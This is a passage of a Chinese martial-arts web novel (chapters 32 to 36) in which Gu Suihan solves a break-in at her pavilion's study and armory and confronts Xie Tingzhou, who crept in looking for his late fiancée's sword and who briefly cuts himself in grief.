顾岁寒这才想起来今天她匆匆把人都叫过来又莫名解散,中途一个理由都没有解释,未免让人一头雾水,连忙简要地把晚上她回来之后见到的情形和他说了一番,还把书房门推开,领着人进去证明自己所言非虚。
谢停舟看着一室乱象,不由得皱起眉:“执棋房间里的东西都没丢?”
顾岁寒点头:“是。我对房间里放的物品都一清二楚,位置移动大了都能察觉。房间里东西都没丢,只是被人翻过,这我还是能保证的。”
谢停舟追问:“那被翻阅的东西有什么共同点吗?”
顾岁寒这会摇头:“没有。有竹简有书册,甚至还有画轴,里面记载的内容也各不相同,没有什么规律。”
谢停舟沉吟道:“我记得阁里对什么材质的载体记录什么类型的信息都有要求?”
“对,”顾岁寒点头,“竹简便宜但笨重,一般就记录一些名册还有术法详解这类不会往阁外带的内容,书册价贵但轻便,所以一般记录情报这类还要往上呈送的内容。”
谢停舟不语,倒是顾岁寒说完之后很快反应了过来:“也就是说,这个人对阁里记录东西的规矩压根不清楚,很有可能根本不是阁里的人!”
谢停舟补充:“还有一种可能,就是他只是想翻乱书房来引起你的注意。”
一种不祥的预感油然而生。顾岁寒看着他的眼睛,脱口而出:“……他是声东击西!”
话音刚落,门外就传来哒哒的脚步声。书房的门还没来得及关,顾岁寒回头,看见小八扶着门框,气喘吁吁道:“执棋!武器库被人盗了!”
32. 苏幕遮 二
顾岁寒看着小八,意识到自己犯了多大的一个错误:落棋阁入夜后便守卫森严,她便想当然地以为翻她书房的人一定是晚间“应该”在落棋阁里的人,却忘了除开晚间值班的人,白天本就在落棋阁里的人也可以趁月黑风高下手。
那人的目标其实是武器库里的某
多么相似的剧情。一年前,也是一个晚上,沈和正夤夜潜入落棋阁,盗走了神剑碎曦,就此引发后续一系列血案。
但此时此刻,碎曦并不在落棋阁手上——更确切地说,落棋阁连这把剑究竟在哪里都毫无头绪,这个不速之客潜入武器库,又能拿走什么呢?
她定了定神,问小八:“今夜武器库是你当值?你不是刚结束这一轮的值班吗?武器库里有丢失什么吗?”
小八被她的连环问题问得有些无措:“是……是的,我今夜是顶了一个幼时好友的班,他肚子不舒服,所以告了假。武器库里什么都没有丢,只有被人翻动过的痕迹。”
顾岁寒沉声道:“带我去看看。”
三人出了书房,顾岁寒想了想,在门上落了一道禁制。说是禁制,本质上就是一道封门符,只要有人试图进入屋内,封门符的主人就会知道。
这个符不复杂,但顾岁寒画得认真,完全没注意到身后谢停舟微微异样的神色。直到最后一笔落成,她才转过身来,谢停舟也收敛了自己的目光,专心致志地钻研起落棋阁的花草来。
顾岁寒看了他一眼,觉得他行为颇有些古怪,但也没深想,只是问:“谢将军要一起去武器库吗?”
谢停舟似乎在走神,闻言疑惑地“嗯?”了一声,才反应过来:“哦……哦,好的,反正也都来了,说不定在下还能帮上什么忙呢。”
顾岁寒乐得多一个帮手。三人走在去武器库的道路上,谢停舟轻声问:“所以现在还是没有发现闯入者是谁?”
小八摇头:“没有。除了被翻乱的武器,库里没有发现任何其他的痕迹。”
顾岁寒想起之前书房里的鞋印,心说这果然是那人刻意留给她的破绽,叫她自乱阵脚。偏生她也是个直肠子的,见了个坑就往里跳。
但现在不是懊恼的时候,她无奈道:“……要是落棋阁能设个什么禁制,把所有人的进出都记录下来了,就不至于现在这样两眼一摸黑,连那个贼子是谁、还在不在阁里都还不知道。”
这句话本意只是抱怨。这种禁制光是说出来都想得出到底有多难,更何况真正做出来。
谁料后面的谢停舟忽然出声:“如果有阁里所有人的气息的话,我可以试试看。”
顾岁寒:“嗯……嗯?”
她诧异地回过头去:“你?”
“对,”谢停舟坦坦荡荡地回视她,“我略通此道,兴许可以尝试。”
顾岁寒有些心动,但这毕竟算个大工程,她拿不好主意要不要让谢停舟这个外人参与。她沉吟道:“我考虑一下。”
谢停舟点点头,没说什么。三人来到了熟悉的地方,小八已经提前把武器库锁好,还叫了黑棋在外看守。见他们来,黑棋恭恭敬敬行了礼,打开门躬身将人迎了进去。
小八一边引路一边说:“我当时就是这样,执棋叫我们去书房前验身回来后,我一进来,就看见这里乱了。”
他指的地方在武器库走廊的尽头,那里有一张八仙桌,上面放着刀剑架,现在空空如也,剑架的位置也明显不正。顾岁寒问:“此处以前是放碎曦的?”
小八连连点头:“是的。碎曦被沈贼夺走后,这里就一直空置了。”
谢停舟没忍住质疑:“碎曦……这样重要的神兵,就大喇喇地放在最显眼的地方吗?”
小八不好作答,把求助的目光投向顾岁寒。她只好解释道:“碎曦戾气重,不好跟别的利器放在一处,怕沾了血光的刀剑和它共鸣引发事端,只好单独放在一边。再加上它地位崇高,就单独辟了一张桌子给它。当初也没想到……”
没想到竟有人能一夕之间跨越千里,如此精准地找到并偷取这把碎曦。
谢停舟也重重叹了口气,似乎也不知道说什么是好了。
狂风起于青萍之末,祸患往往诞生于忽微。落棋阁的大意,几乎就是去岁连番事件的起源。
小八小声解释:“虽说如此,但假若那个内奸不透露落棋阁缩地千里阵的阵诀,那沈贼也绝不能钻了我们的空子啊……”
顾岁寒摇头:“可这个内奸我们至今都不知道是谁,这个隐患也就一直存在。小八,我们不能抱这种堪称侥幸的心理。”
小八咕咕哝哝地不知道说了什么,可能还是不太服气。顾岁寒摇了摇头,转身往外走:“这里看不出来什么,也没什么别的损失。先叫大家加强守卫吧,别的事再说。”
小八应是。顾岁寒沿着进来的路往外走,却在路过一个武器架时停住了脚步:“……嗯?”
由于她是领头的,武器库的架子间通路狭窄,余下两人就被她堵在了后面。谢停舟倾身过来看她看的位置,但也没看出什么端倪:“怎么了?”
顾岁寒举高了手里的烛台,细细照着左手边武器架的置物板:“这里的灰尘好像不是很均匀。”
武器库里有防尘符,平日里也有人专职打扫,是以几乎没有积灰。顾岁寒也是刚刚走过时,余光瞥视到此处怪异,才停下了脚步。
她的眼睛不太好,今晚实在忙碌太久,眼睛已经有了些微微的不适。她挪开烛台揉了揉眼,才把烛台重新靠近木架,左手虚虚在空中比划着架子上靠外面的一块半圆形区域:“……你们不觉得,这块地方好像被带了水的东西沾过。”
今夜夜露浓重,石砖地上都微微湿润。顾岁寒看着那处形状,联想到书房里的脚印,脱口而出:“是鞋印!有人踩过这里!”
后面两人还在一头雾水。顾岁寒看着脚印的位置,忽然灵机一动,将烛台转向了右边架子,一层层
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地查看架面。果然,在右侧架子上比左侧高一层的位置,架面上的灰尘也有相似的痕迹。
再往上的架子她的身高便看不见了。顾岁寒看了一眼自己的鞋底,确认比较干净后,一提气就踩着那脚印旁边的位置站在了架子上!
从谢停舟的角度看去,她好像一只灵活的猿猴,在空中站成了两条腿不一般高矮的“大”字形。后面的小八急道:“执棋,有梯子的!小心这架子不稳固啊!”
顾岁寒在上面道:“没事!”一面举起烛台往更高处照。从她这里已经能看到武器架的顶端,上面的位置防尘符效力渐弱,灰尘更多,能明显看出曾有人和她一样站在这里,一只手按在最顶端的木架上,留下了一个清晰的手印。
她伸出自己的手比划了一下,感觉这应该是个男人的手,手指很长且骨架粗大,奇怪的是关节似乎还微微凸-起,在灰尘上留下了一个更宽大的印记。
但除了留一个手印之外,此人似乎就没有做什么了,连高处的武器他都没有动过,一些浮灰还都很完整。顾岁寒前后看了看,觉得在这个高度躲避武器库看守的视线也不太可能,越发感到迷惑起来。
谢停舟担心两边架子在她的作用下向中间倾倒,伸出两只手在中间权作支撑。见顾岁寒半天没有动作,他问:“执棋,有什么奇怪的地方吗?需要在下协助吗?”
顾岁寒前后看了看,从架子上跳了下来,拍了拍手上的灰:“没有其他的了,就是顶上那里有个手印。小八,出去之后你找个擅长丹青的来把这个鞋印和手印都拓印下来,留个档明天查。对了,我看前后的架子上都有放东西,就这个架子顶是空的。原本这里有放什么吗?”
小八用奇怪的眼神看了她一眼:“执棋忘了吗?那日您来武器库归还档案,将此剑亲自取走的。”
顾岁寒已经许久没有好好休息,早就有些头昏脑胀,此刻听小八提醒才想起来,一拍脑袋:“啊!是那柄霜尘剑吗!”
此话一出,谢停舟的脸色彻底变了。那脸色极其复杂,又是不可置信,又有一种被冒犯了的愤怒。顾岁寒原本还在“今晚怎么老干昏头的事”的苦恼中,看见他这脸色简直被吓了一跳:“……谢将军?”
谢停舟缓缓地、一字一顿地问:“……霜尘?”
顾岁寒看着他,即使在昏暗的烛光中,她都能看出来他眼眶中隐隐的红血丝。但她实在不明白这剑到底怎么了,只好小心翼翼道:“……嗯?”
小八看起来似乎知道些什么,从谢停舟后面探出头来,比比划划地用气音说了些什么。但小八没有拿烛台,他那边光线稍暗,顾岁寒眯起眼睛,艰难地辨识着他的唇语:“姬……?”
这个姓一出,她就意识到了些什么。姬这个上古姓氏在今天已经不常见了,上次拿剑时,小八曾说过“这是一个前辈留下来的剑”,那么剑主人的身份就呼之欲出了——
顾岁寒吃惊道:“这是姬泠殿下的剑?”
34. 苏幕遮 四
闻言,本来都准备往外走的顾岁寒脚步一顿:“城北?”
上林苑就在城北。谢停舟去那边,是宋安澜那边出了什么急事找他吗?
紧接着,她又否认了自己的想法。落棋阁现在就是一只铁桶,什么消息传进来都要经她手,谢停舟不可能知道得比她早。
那他半夜三更地出去干什么?吃多了消食?
她隐隐觉出不对来。今夜回阁之后,谢停舟的行为在她脑海中走马灯似的转了一圈。
掌柜的就眼睁睁地看着自家执棋忽然若有所思地站在了原地,随后灵光突现、快步转身朝外走去,穿过阵门消失在了原地。
掌柜用毛笔尾巴挠了挠头,咕哝了两句,低头继续算自己的帐去了。
顾岁寒刚一进落棋阁的大门,就跟人撞了个满怀。
来人行色匆匆,她也是走太快没看路,这下撞到一处,双双往后退了好几步。顾岁寒定睛一看,惊讶道:“蒋奚?你这么着急出去是做什么?”
蒋奚见是她也喜出望外:“执棋!我正要找您呢。小八说武器库里脚印和手印都拓好了,但不知道给谁。我寻思着您刚出去不久,快跑两步兴许还能追上,没想到在这里见着了您!”
没想到顾岁寒脸色却不是很好看:“东西呢?”
蒋奚还以为是拓印出了岔子,连忙在身上一阵翻找,很快就把拓下来的纸双手奉上。
顾岁寒接过来打开后看了两眼,也没说什么,又匆匆往里走去。蒋奚不明所以,在后面亦步亦趋地赶了两步:“执棋?”
“你跟着。”顾岁寒头也不回,“有事要你帮忙。”
蒋奚头上的雾水多到可以拿来泡茶,但顾岁寒没发话,她只好老老实实小跑着追在后面。
顾岁寒看似身量不高,每一步却是迈得又快又急,蒋奚追到最后几乎有些气喘吁吁,一没注意差点撞到人后背上。
她这才注意到黑灯瞎火之中顾岁寒又回到了自己的书房前,现在正在开门上的禁制。
蒋奚连忙低下头以示非礼勿视。只听得“咔哒”一声轻响后,顾岁寒“吱呀”一声推开了门,一挥手点亮了书房里的烛台,回身对她说:“进来。”
蒋奚跟了进去。书房大门在她身后自行关闭。顾岁寒进屋之后就直奔书桌,打开了底下的暗格。蒋奚不知所措地站在原地,便看见顾岁寒从里面找了张纸出来,和之前拓印的脚印细细比对。
蒋奚眼睛尖,透着烛光隐隐约约看出她后找出来的那张纸上也是个鞋印,猜测这应当就是之前书房中的泥印迹,不明白顾岁寒对比同一人的鞋印是何意,于是不安道:“……执棋?”
她看见顾岁寒深深吸了口气,闭上了眼,将两张纸重重压到了桌面上:“你,过来看看这两个印子。”
蒋奚惴惴地上前去,小心地从她手中抽出两张纸放到了眼前。
拓印用的纸为了方便转印和比对,都是又轻又薄的蝉翼宣。她将两张纸合二为一,立到面前。
桌上的烛火从纸背透过来。她一眼便看出了端倪,但谨慎起见,还是又分开来仔细看了看才得出了结论:“这两处的鞋印……似乎不是一个人的?”
“对。”顾岁寒坐在圈椅中,深深地捂着眼,“两双鞋长度相似,宽度也相仿。这些都可以用拓印时条件不同来解释。”
“但这两个鞋印足弓处的弧度相差极大,细微处的花纹也有重叠不了的地方。这压根就是两双鞋。咱们都被谢停舟那厮给骗了。”
话题忽然急转到了蒋奚完全没有预料过的方向。她张大了嘴:“啊?谢将军?和他又什么关系?”
她试图顺着顾岁寒的思路想:“您是说书房里的鞋印,还有这调虎离山之计都是他一人杰作?可是他和您一同回来,不可能比您先到书房,还制造出这么混乱的场面啊?”
“不。最开始就是两个人,”顾岁寒放下了捂着眼睛的手,用手肘支着身子压-在了面前的桌面上,思路清晰道,“我回阁中,发现了书房里的鞋印。顺着鞋印的去向,我想当然地以为那贼人应当去了棋舍中,害怕他伤及未出师的小孩们,连忙把所有人都召来查验。”
“查验到半路,谢停舟这家伙才姗姗来迟。我以为他是已经更衣就寝,因而衣衫凌乱。”她冷笑了一声,“其实,他是趁着这个空当去武器库转了一圈,爬上爬下又来去匆匆,这才弄乱了仪容。”
“啊?”蒋奚跟不上她的思路了,“可是……谢将军在武器库和这里之间来回,耗时应该不短才是。倘若他在听说书房乱局之后赶往武器库,达成目的后再出来,肯定要比看守库门的小八晚到不少才是。可我看他过来的时间……和小八几乎是前后脚啊?”
“除非……”她灵机一动,“今夜来书房里的那个贼人虽和谢将军不是一人,但他们其实是一丘之貉?所以谢将军早早就知道了消息,一直在武器库外蹲守,等小八刚走就进去寻剑?”
她又自言自语道:“这时间倒是说得通了,可是谢将军为什么要大费周章地去武器库?说不通啊。”
顾岁寒久久沉吟不语。眼中的书房在她眼中时光逆行。一切回到了她今夜回来之前的样子,她看着臆想中的黑衣人在书房里来回走动,四处翻找,最后又在听到她脚步时匆匆翻窗离开。
蒋奚看她沉默,直到她在想事,也不敢出声打扰,只是轻手轻脚地把两张纸放好,用镇纸压上。收回手时,原本一动不动地静静看着前方的顾岁寒忽然开口,吓了她一-大跳。
“不。”顾岁寒琥珀色的眼睛不知何时转向了她这边,但她没在看蒋奚。她的目光定定地落到了很远的地方,“……这两人不是一伙人,或者说,很可能不是一伙人。”
她双手交叉,将下巴放在手背交错处:“落棋阁入夜后禁止除了当夜值守的人进阁。所以此人很有可能也是落棋阁的人。他行为拙劣,不熟悉阁里各类要件记录的要求,因而四下乱翻、竹简书册都看了个遍;他匆匆忙忙,鞋底的残泥都没来得及处理就仓皇而逃。”
“谢停舟说得没错,他有可能是为了制造声势,以便掩盖他真实的目的。但还有另外一种可能。”
她猛得从座位上站起来,将书桌背后的窗户“呼”地推开。月色从云层后探出,照亮了院子里的亭台楼阁,小棋子们住的学舍在这清光下分毫毕现:“此人刚来阁里不久,很多基础的要求还没学,被发现后才匆匆逃往那边。至于鞋底的泥——”
她转过身来,看着蒋奚:“我之前一直疑惑。最近两日虽有夜雾,却没有下过雨,更何况阁里大多地面都铺设了石板,他上哪鞋底沾了泥?”
蒋奚顿悟:“弟子舍!一直有小棋子抱怨卧寝酷热,所以这两日有人在弟子舍后窗松土浇水施肥,准备买了树苗种上,明年此时即可遮阳。此人是从弟子舍来!”
“对。”顾岁寒微笑,“而且此人为了不惊动别人,是从后窗翻出来的。他行为如此莽撞稚拙,所以我才说,他很有可能和谢停舟不是一伙的。谢停舟固然算不得什么精明人,但这样的同伙还是太拖后腿了。至于那一系列声东击西的说辞,很有可能是他进屋后看到屋里状况,现编的。”
蒋奚恍然大悟,可随后又不解了起来:“可……那谢将军怎么做到短时间来回的?”
顾岁寒冷笑一声,反手把窗关上,大步朝着门走去:“这当然是因为——他的同伙另有其人!”
谢停舟躺在一张榻上,静静地看着房顶。可以看出,此处已经久无人居住,空气中漂浮着细细的灰尘,窗棂也有了蛛网。
人走茶凉屋破败,
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无外乎此。
谢停舟就那样直挺挺地躺在床上,既未更衣也没盖被,一双眼睛直直地盯着上面,屋中仿佛没有活人般死寂。不知过了多久,窗外的鸟叫了一声,从树枝上扑棱棱地起飞。床上的人像是忽然得了什么活气似的,原本僵硬的眼珠子转了转。
“阿泠。”他轻声道,“我恐怕是有些疯魔了。”
那名字刚从他嘴里出口,眼角的就簌簌地流出晶莹的泪花来。泪眼朦胧中,他喃喃道:“我不该这样的。我总抱着那些不切实际的幻想。我想,你许诺过我的。你许诺过我,等北边的事定了,咱们就一起,手拉着手游山玩水,看世间最美丽的风景,吃遍五湖四海的珍馐。”
“我说,我现在就可以做给你吃。”他翻了个身,声音难以自抑地哽咽起来,“你就笑着说,‘好啊,谢大厨做的,肯定好吃,我等你学会’。”
他的声音学得惟妙惟肖。朦胧的泪光中,身穿甲胄的姑娘仿佛正坐在床边,眉飞色舞地和他说话。他愣愣地看着,心知是幻觉,却也怕惊着了幽魂似的,不敢大声说话,只是自言自语似的,向她低声抱怨似的:“……都约好了,怎么中途……”
说到这里,他的泪水再也止不住,短短一句话破碎不堪,嘴唇蠕动几次才出口:“怎么……中途失了约啊。”
“你向来是个重诺的。小时候在学宫分开时,我问你我们会再相见吗,你说会的。于是十年过去了,你来青城山上找我了。”他一桩桩、一件件,细数家珍,“你来时说要请我师父下山。我说我师父不行,我可以,你要不要?”
他向着虚空中的人伸出了手。幻觉中,那人一手牵着缰绳,红衣烈烈如火,听到他的问题时,那人漂亮的眉峰上挑,似乎十分惊讶为难似的。
他忐忑地等着她的回答,在心里期许道:“带我走吧,带我走吧。”
带我走吧,我受够了在山上空无人烟的日子。我想像你一样,为这世间做点什么,哪怕是一点也好,也强过在这神仙似的山上无为清修。
那令他不安的为难没有持续多久,她似乎很快就做好了决定:“也……不是不行?那,小船儿,你会的东西多吗?你出师了吗?”
她还记得叫自己小船。他的眼睛亮了,连忙拍着自己胸脯,话都结巴了:“出,出师了!但是师父不准我们轻易入世,所以……所以……”
所以……我一直在等着你来啊。
臆想出的阳光中,少女不知想到了什么,咯咯笑了起来。也不知是答应还是不答应,她翻身上马,叫那马扬蹄奔向远方。他在后面跌跌撞撞地追,看着她跑过了高山,跑过了原野,跑过了波涛怒吼的大江,跑进了锦绣升平的南都城。
他终于追不动了。他站在原地,气喘吁吁地撑着膝盖,高声喊住她:“喂!”
她勒住了马,引着马头叫它转过来,静静地看着他,等着他下面的话。不知为何,谢停舟看着她的脸,明知那不是她的真面目,还是忐忑了起来。
他嗫嚅半晌,终于说出了口:“我贸然出山,领受了那样高的官位,该如何说服军中众人呢?”
对方似乎也没想过这个问题,为难地皱起了眉头:“我也没想过。你怎么看?”
他听见自己的心跳声擂鼓似的响。
他说:“要不……我们定个婚约吧。我就说我是因为钦慕你才出山的,怎么样?”
姬泠愣住了。他连忙结结巴巴地找补:“……我,我开玩笑的……”
没想到她先笑了起来:“好啊。”
他已经做好了会失败的准备,完全没想到能得到肯定的答复。姬泠看着他傻愣愣的模样,愈发乐不可支起来:“就是到时候去了镇西军,别人说你是攀了姬将军妹夫的关系才爬上来的,可别找我算账来——”
35. 苏幕遮 五
谢停舟感觉自己整个人都要烧得冒水汽了:“不不不不会的!”
姬泠被他的反应逗得哈哈大笑。
她拉上他的手,道:“既然都答应了,那就一起走吧!”
谢停舟看着她盛满了星辰的双眼,雀跃地跟着迈步,却一脚踏空,重重跌落回床上。
他冷汗涔涔地睁开眼。一切虚妄化为乌有。
——那个有诺必践的人,终究是在最后一次失了约。
空屋寂寂,鸟鸣声声。所有的一切都向他强调着,那个人已经不会回来了。
终于是泪流满面。
也不知过了多久,泪流干了,眼睛干涩得发痛。
谢停舟呆呆地看着前方,手紧紧攥成拳,甚至有些发痛。他也不知突然想起了什么,猛得坐直了,掏出匕首狠狠划过了自己的手臂!
顿时血流如注。但他好像不知道痛似的,将匕首一丢,空出来的手狠狠按进了还在流血的伤口!
“你怎么……”他气都喘不匀,断断续续地冷笑着说,“……你怎么,怎么敢生出那样的念头的?”
这一刻,他好像化身为了行刑官,冷冷地审问着自己的灵魂。
只有他自己清楚自己产生了什么不该有的心思。
自打和顾岁寒相见的第一面,他就隐隐感到了某种古怪——不在顾岁寒身上,而在他心里。他早早就听说过这对表姐妹容貌相似,可在人皮面具的遮盖下,更相似的是她们的身形与性情。
她们两人实在是太像了。爽朗的作风,坚毅的性格,还有风风火火的行事风格。倘若说这些都只是同为落棋阁领导人所具有的共同品格的话,她们两人之间一些小的细节相似便更让他心生出难言的期冀。
会不会……姬泠没有死,而是换做了顾岁寒的身份,回到了临安?
她那样勇敢而热烈的人,怎么会选择自尽呢?
他一方面为自己这种期冀而感到心惊肉跳,一方面又悄悄躲在暗处,试图找出更多她们之间的相似来佐证自己这堪称大胆的猜测。
顾岁寒明明是白棋出身,却用黑棋的穿衣标准拒绝了他的木珠串;下棋时,她和姬泠一样喜欢一边把-玩手上的棋子一边思考下一步;相似的说话方式,偶尔露出的神情……一切的一切一方面让他忍不住越发确信自己的猜测,一方面又让他忍不住怀疑自己。
疑邻盗斧的典故他不是没有学过。倘若这些相似并不是真实的,而是他在百般思念下,将所有模糊的可能在心里粉饰为确信了呢?
百般念想将他的心放在烈火上煎烤。终于在今天的夜里,他下定了决心,要去武器库里看看霜尘剑的下落。
霜尘是姬泠生前最喜欢的佩剑。据说这把剑熔炼了一部分她母亲的佩剑,所以姬泠对这把剑的情感也就格外深厚。
这个传闻谢停舟没有和她求证过。但他曾亲眼目睹过姬泠是如何珍重这把剑的,她连睡觉都要把这把剑放在枕边。所以如果她回来了,那她一定会拿走这把宝剑。
事情的发展甚至完美地契合了他对于顾岁寒身份的猜测。
他清晰地记得自己在小八的引导下,找到那个空空如也的剑架时,心跳当时就达到了顶峰。但小八的说法给他狠狠泼了一盆凉水——顾岁寒很可能并不知道那把剑的前主人是谁。她只是看到了一把喜欢的剑,拿走了,仅此而已。
由此,谢停舟陷入了彻底的茫然中。他刚刚被赐予了希望,这希望又被狠狠摔到了地上。他所有的猜测很可能是个巨大的乌龙,冒犯了他心里的人不说,也冒犯了顾岁寒这个外人。
悔恨化作潮水将他淹没。他仓皇之间编造出谎言欺骗了顾岁寒,却也知道这并非长久之计。顾岁寒不是傻子,很快就能发现脚印间的不同。他不知如何是好,只好匆匆逃至此地。
长安公主府,他的温柔乡,他曾经的……家。
谢停舟愣怔怔地看着自己手臂上的伤口。他修为高,血基本已经不流了,但之前的残血还是弄污了一-大片的衣摆和床褥。
理智渐渐回炉。他很难描述自己刚刚下刀的那一瞬到底在想什么。他只是觉得自己这样不好。
贸然猜测别人的身份是不仁,由这个猜测而冒犯到别人是不义。他对顾岁寒身份的猜测虽然还没叨扰到她本人,但他无法接受自己心里产生不该有的念头。
然而姬泠冤屈未雪,他势必还要和落棋阁合作。可他还有什么颜面去见顾岁寒?
他毫无头绪,甚至像只鸵鸟一样开始期待自己拙劣的诱导能骗过顾岁寒的眼睛。
然而天不遂人愿,下一刻,他听见窗外冷冷的声音传来。
“谢将军,请你出来。我不想失礼。”
屋外,顾岁寒一身黑衣,双手抱着剑,皱眉看着从里面磨磨蹭蹭出来的男人。她的目光在他手臂上的伤口停留了一瞬,随后抬眼盯着谢停舟:“谢将军半夜三更跑到被封了的公主府上来作甚?不解释一下吗?”
谢停舟注意到她抱的剑正是霜尘,本来已经被自己掐熄了的猜测萌芽又死灰复燃地冒了个尖。
他没答顾岁寒的问题,反问道:“阁下又是怎么知道我在这里的呢?”
顾岁寒差点被气笑了。其实单从结果而言,谢停舟跑去武器库不是什么大事——因为他除了看了一眼霜尘剑的空架子、留了几个手印之外没做其他任何事。
但他潜入武器库这件事对顾岁寒而言堪称背后捅刀。谢停舟在阁里虽然没有实际的职位,她却一直看在姬泠未婚夫和宋安澜的面子上对他尊敬有加。结果这人居然悄没声地跑去阁里的重地不说,事后还完全不坦白,好一番声东击西,哄的她团团转了大半个晚上!
哪怕到了现在——她都找上门了,这个人居然还在和她玩质问与反问的小游戏!
她感觉自己的肝火旺得可以炒菜,似笑非笑地看着谢停舟:“谢将军——我姑且还叫你一声将军,前脚刚跟我说之前回京一直住在公主府上,后脚就从阁里消失。我只好动用剑尖想了想,大半夜的谢将军能去哪呢?”
谢停舟后知后觉地从她的话中意识到了一丝嘲讽和阴阳怪气。他老老实实地低下了头:“抱歉。”
抱歉抱的是什么他们俩都心知肚明。顾岁寒看着他耷拉下来的发旋,有一种一拳打到棉花上的错觉,心里那股无名火直接烧到了顶。她彻底恼了:“谢停舟!”
谢停舟抬起了眼睛。即使到了那一刻,他心里还怀着一些不切实际的念想——万一她真的是姬泠呢?
她只是因为某种原因,不方便和他说明自己的伪装。但她还是给了自己提示的——比如霜尘剑、比如言行。那一刻他的眼睛好似溺水的旅人,有着说不清道不明的渴-望与期冀。
但顾岁寒正在气头上,压根没注意到他眼里的弯弯绕,只是寒声道:“我真的……我真的非常生气。”
那一刻她什么难听话都想到了,但话到嘴边又想起来此人和宋安澜姬昀之间的关系,又硬生生把话咽回去了,感觉喉咙都被噎得生疼:“……谢停舟,谢将
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军,你压根没意识到自己的问题在哪里。你平日里看似进退有度,‘谢谢’‘抱歉’不离嘴边,但你说出这些话时压根没从心里过。就像现在,你说抱歉也只是因为我找上了门,而不是真正因为今晚的事感到愧疚。”
后面的话太难听了,她没说出口。但这些话本身已经是很严重的控告了,谢停舟完全没预料到会收到这样的指责,一时间愣愣地站在了原地。
顾岁寒长出了一口气,逼着自己冷静下来:“谢将军,你是姬泠的未婚夫,又为镇西军提供那么多帮助,我敬佩你。但这不意味着你可以在我的落棋阁里肆意妄为,甚至利用自己在镇西军里的关系驱使我的棋子为你所用。”
蒋奚问她,闯她书房的不是谢停舟的同伙,那谢停舟是怎么做到短时间内来回的?
答案很简单。谢停舟进武器库是早有预谋,而那个被谢停舟驱使的人就是小八。
这个事实在知道的结果的情况下就很好反推了。小八曾在西南分舵待过一段时间,被分舵主赏识,很快就成为了分舵主的左膀右臂。
西南分舵和镇西军联系紧密。准确地说,和青州分舵一样,西南那个蛮夷之地的分舵很大程度上就是专门为了镇西军而设立的。小八作为分舵负责整合情报的棋子之一,不可能不认识谢停舟。
从这个思路出发,顾岁寒细查了小八的履历,果然从里面看出了端倪。今年年初,西南分舵有人叛变的事传出,嫌疑落在了小八头上,是谢停舟力保小八,说小八在被指认泄露消息那天正往镇西军送信,这才牵引出真正的罪人小七。
所以,今夜的一切其实是一个完美的巧合——棋舍有没出师的小棋子想窃取她书房中的某样机密,被刚刚回来的顾岁寒撞了个正着;与此同时,谢停舟趁着小八正好替班值守武器库的这个时间,潜入落棋阁确认霜尘的下落,却正好撞上顾岁寒情急之下召集全阁棋子,试图找出内奸。
谢停舟见到现场,灵机一动,就这样嫁祸那个闯书房的小贼。而顾岁寒一时间也没能看出其中破绽,就这样被牵着鼻子转了一-大圈。
而小八真正露出马脚其实是在提醒她霜尘是姬泠的剑的时候,这也是顾岁寒理清今夜所有事的突破口。
当初拿走霜尘剑时,她还是担心会冒犯到此剑前主人,四处打听了一下这剑的归属,却发现没人知道。连问蒋奚时,她都只得到了一个模糊的答案——感觉好像曾经见哪个师姐用过。
现在想来,这其实是合理的。黑棋出任务时,统一要求使用武器库配给的武器,以免仇家通过武器识人,带来不必要的麻烦。姬泠的佩剑用到的地方应该也不多,所以只有寥寥几个亲近的人见过。
那这样隐秘的事,小八上次还不知道,这次为什么又能提醒她了呢?
因为谢停舟告诉他了。谢停舟根本不是趁小八去书房门口时溜进的武器库,而是小八监守自盗,把人给放进来了。
那个闯书房的人顾岁寒麻烦蒋奚去查了,自己则亲自跑来了公主府。因为她有一件事始终如鲠在喉——
谢停舟爱妻一事众人皆知,想看看霜尘剑也是情理之中,直接向她要武器库的手令就行了,何必费这么大一番波折?
就算他羞于向她展示自己对姬泠的爱意,事情败露之后,直接向她说明就好了,看在宋安澜的面子上,她也不会多说什么,顶多罚小八一顿。他又是为何要撒下这谎言,白白费她这么多功夫?
一把剑而已,谢停舟为何要这样诡计套谎言地去遮掩?
36. 钗头凤 一
这才是顾岁寒真正恼火的地方。落棋阁本来就因为去年沈和正的事,对阁里的各种风吹草动堪称杯弓蛇影,光顾岁寒回到阁里的这两个月就前后换了好几轮防守,力求天衣无缝。
结果谢停舟直接从内部突破不说,还忽悠着她提心吊胆了一晚上。这家伙就像压根不懂此事严重性似的,现在还在心不在焉。
“我……”谢停舟结结巴巴地辩解。不知为何,顾岁寒感觉他眼尾似乎略略泛红,仿佛要哭了似的,“我……抱歉,我只是一时昏了头,我……”
到现在他还在用昏了头为自己解释。顾岁寒闭了闭眼,感觉自己已经没有发火的力气了,只是轻声道:“……只是一时昏了头吗。”
谢停舟愣愣地站在原地,只听得顾岁寒道:“一时昏了头,也能在这么短时间内做出这么完美的计划。该说不说,谢将军这个副将确实是智计无双。”
他张了张嘴,却没能说出话来。那一瞬他甚至想把自己那荒唐的念头交代出来,总比惹顾岁寒误会好。可话到嘴边,谢停舟又退缩了。
还没等他组织好语言,顾岁寒就彻底失去了耐心。她深吸了一口气:“算了。谢将军有自己的心思,我不问了。”
谢停舟期期艾艾地看着她,却冷不防差点被她扔过来的东西砸中。他手忙脚乱地接下来,却发现是那把霜尘剑。
“霜尘是谢将军未婚妻的遗物,留在阁里没名没分的,还劳谢将军的心力惦记。”顾岁寒明明比谢停舟矮上半个头,却让他有了一种被俯视的感觉,“今日我便做主物归原主了。”
“至于阁里……”顾岁寒疲惫地看着他,简直不知道说什么好了,“谢将军在阁里时,我会找人陪护的。”
说罢,她毫无留恋地扭身便走。谢停舟徒劳地伸手试图挽留,却见她在树梢间几个起落,背影消失不见了。
他愣愣地看着她的背影,心中升起了一个不合时宜的念头:她的轻功其实算很不错的了。
姬泠还在时,曾经和他提过,顾岁寒曾经短暂地学过一段时间的黑棋,但由于轻功一直差强人意,最后还是转去了白棋。但从她现在的轻功看,虽然谈不上姬泠那样的登峰造极,比大部分白棋还是要强上不少的。
是因为长大之后对轻功的理解强了不少吗……他茫然地想着,目光不由得转向了怀里的霜尘剑。
姬泠在世时,她爱剑如命,从不允许其他人碰霜尘,连谢停舟都不行。不过他也不怎么懂剑,一把剑是好是坏他也说不出,只知道这把剑的剑鞘很漂亮。
放在几天前,这把剑绝对是他最想拿到的姬泠遗物之一。这把剑几乎和她第一亲密,相比之下连谢停舟都要往后排。但经历了今晚的事,这把剑在他手里就有些像烫手山芋了。
他垂着眼睛看着这把漂亮的剑,心说要不等哪天把它和姬泠葬一起算了。尘归尘,土归土,那人生前活得潇洒自在的,死后也该拿着把剑笑傲九泉。
